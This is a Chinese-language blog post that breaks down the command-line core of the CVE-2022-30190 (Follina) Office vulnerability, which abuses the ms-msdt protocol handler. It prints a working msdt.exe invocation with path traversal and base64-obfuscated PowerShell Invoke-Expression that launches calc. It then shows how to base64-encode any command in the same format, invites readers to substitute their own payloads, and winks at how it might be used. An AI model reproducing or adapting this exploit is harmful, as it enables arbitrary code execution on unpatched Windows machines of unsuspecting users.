四时宝库

程序员的知识宝库

有趣的命令行,利用ms-msdt伪协议执行powershell代码

有趣的命令行系列又来了。最近出了一个CVE-2022-30190 Office漏洞,利用的是ms-msdt伪协议来执行powershell代码。这个漏洞的具体复现我在这里不做讲解,只是挑了其中的一段有趣代码来分析一下。

代码:msdt.exe /id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"

执行效果:

ms系列是office注册的协议,你可以在设置-应用-默认应用-按协议指定默认应用中找到相对应的伪协议和所启动的应用。

ms-msdt协议没在这里找到,可以从注册表中找到。command是"%SystemRoot%\system32\msdt.exe" %1。

msdt.exe 是微软支持诊断工具,于是分析了一下CVE-2022-30190的exp有了上边的一段命令行代码。

上边的msdt.exe执行计算器的一串代码中,YwBhAGwAYwA是calc的base64编码。如果你想改变其中的命令,可以换成自己的base64命令编码。这段base64你可能发现和网上在线的base64加解密工具的转换结果不太一样,是因为里边省略了bom,具体参考https://superuser.com/q/381056/4206。如果我们想自己转成这样的base64如何转呢?两种方法:

1、kali下:

$ echo -n 'calc' | iconv -f UTF8 -t UTF16LE | base64

YwBhAGwAYwA

2、powershell下:

[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('calc'))

你可以在这里把calc换成相应的命令或者相应的powershell代码就可以了。至于可以用在什么地方,我相信你会明白的。

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言
    友情链接